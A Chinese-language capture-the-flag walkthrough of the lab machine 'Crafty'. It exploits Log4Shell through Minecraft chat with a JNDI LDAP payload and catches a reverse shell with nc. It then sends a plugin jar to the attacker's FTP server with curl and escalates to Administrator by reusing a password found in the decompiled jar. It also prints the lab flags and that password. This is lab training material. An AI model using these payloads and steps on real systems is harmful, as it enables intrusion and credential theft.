[Meachines][Easy]Crafty
字数 1152 2025-08-19 12:42:26
Log4j漏洞利用与Minecraft服务器提权实战指南
1. 目标识别与信息收集
1.1 初始扫描
使用Nmap进行快速扫描,识别开放端口和服务:
sudo nmap -p- -sS -T4 10.10.11.249
发现关键端口:
- 25565端口:Minecraft服务器默认端口
1.2 主机解析配置
将目标主机名添加到本地hosts文件:
echo "10.10.11.249 crafty.htb" >> /etc/hosts
2. 漏洞分析与利用准备
2.1 漏洞背景
CVE-2021-44228 (Log4Shell):
- 影响Apache Log4j日志库
- 允许通过JNDI查询机制远程执行代码
- 影响版本:2.0-beta9到2.14.1
2.2 利用工具准备
- 下载log4j漏洞利用工具:
git clone https://github.com/kozmer/log4j-shell-poc
cd log4j-shell-poc
- 修改POC脚本(针对Windows目标):
vim log4j-shell-poc
# 将/bin/bash改为cmd.exe
- 准备Java环境:
wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
tar -zxf jdk-8u181-linux-x64.tar.gz
mv jdk1.8.0_181 jdk1.8.0_20
2.3 Minecraft客户端准备
- 下载TLauncher:
wget -O TLauncher-2.899.zip https://tlauncher.org/jar
unzip TLauncher-2.899.zip
- 启动客户端并选择版本:
java -jar TLauncher-2.899.jar
# 选择1.16.5版本进行下载
3. 漏洞利用与初始访问
3.1 启动漏洞利用服务
python3 poc.py --userip 10.10.16.23 --webport 8200 --lport 10032
3.2 设置监听器
nc -lvnp 10032
3.3 触发漏洞
在Minecraft游戏中:
- 进入多人游戏
- 按
T键打开聊天框 - 输入payload:
${jndi:ldap://10.10.16.23:1389/a}
成功获取反向shell后,获取用户flag:
dir C:\Users\svc_minecraft\Desktop
type C:\Users\svc_minecraft\Desktop\user.txt
# fa3ee28076b9040712a643b7f1c0b67e
4. 权限提升
4.1 发现关键文件
在服务器目录中发现可疑jar包:
plugins/playercounter-1.0-SNAPSHOT.jar
4.2 文件传输方法
由于无法直接写入IIS目录,使用curl+FTP传输文件:
- 在Kali上设置FTP服务器:
pip3 install pyftpdlib
mkdir ftp_temp; cd ftp_temp
python3 -m pyftpdlib -w -u martin -P martin -p 21
- 从目标服务器下载jar文件:
在目标服务器上执行:
curl -T c:\users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar -u martin:martin ftp://10.10.16.23/
4.3 分析jar文件
使用JD-GUI工具分析:
sudo apt install jd-gui
jd-gui
发现RCON密码:s67u84zKq8IXw
4.4 权限提升方法
方法一:使用runas命令
cmdkey /list # 查看存储的凭据
runas /env /noprofile /savecred /user:JUGG-efrost\administrator "cmd.exe /c whoami > whoami.txt"
方法二:PowerShell凭证传递
- 准备反向shell脚本
reverse.ps1 - 通过FTP上传到目标
- 在目标上执行:
$secpasswd = ConvertTo-SecureString "s67u84zKq8IXw" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("Administrator", $secpasswd)
Start-Process -FilePath powershell.exe -argumentlist ".\reverse.ps1" -Credential $mycreds
成功获取管理员权限后,获取root flag:
499d7b2f787007256ecb549acaa96c25
5. 附录:实用工具
5.1 Windows提权工具
-
WinPEAS:
- 自动收集系统信息并检查安全漏洞
- 下载:https://github.com/peass-ng/PEASS-ng/releases
-
Seatbelt:
- Windows主机安全审计工具
- 下载:https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
-
JAWS:
- PowerShell枚举脚本
- 下载:https://github.com/411Hall/JAWS
5.2 技术要点解析
-
SecureString:
- PowerShell中存储敏感信息的数据类型
- 以加密方式存储在内存中,使用后立即清除
-
PSCredential:
- 封装用户名和密码的凭据对象
- 用于需要认证的操作如远程连接、进程启动
-
Start-Process:
- 启动新进程并指定凭据
- 可用于以不同用户身份执行命令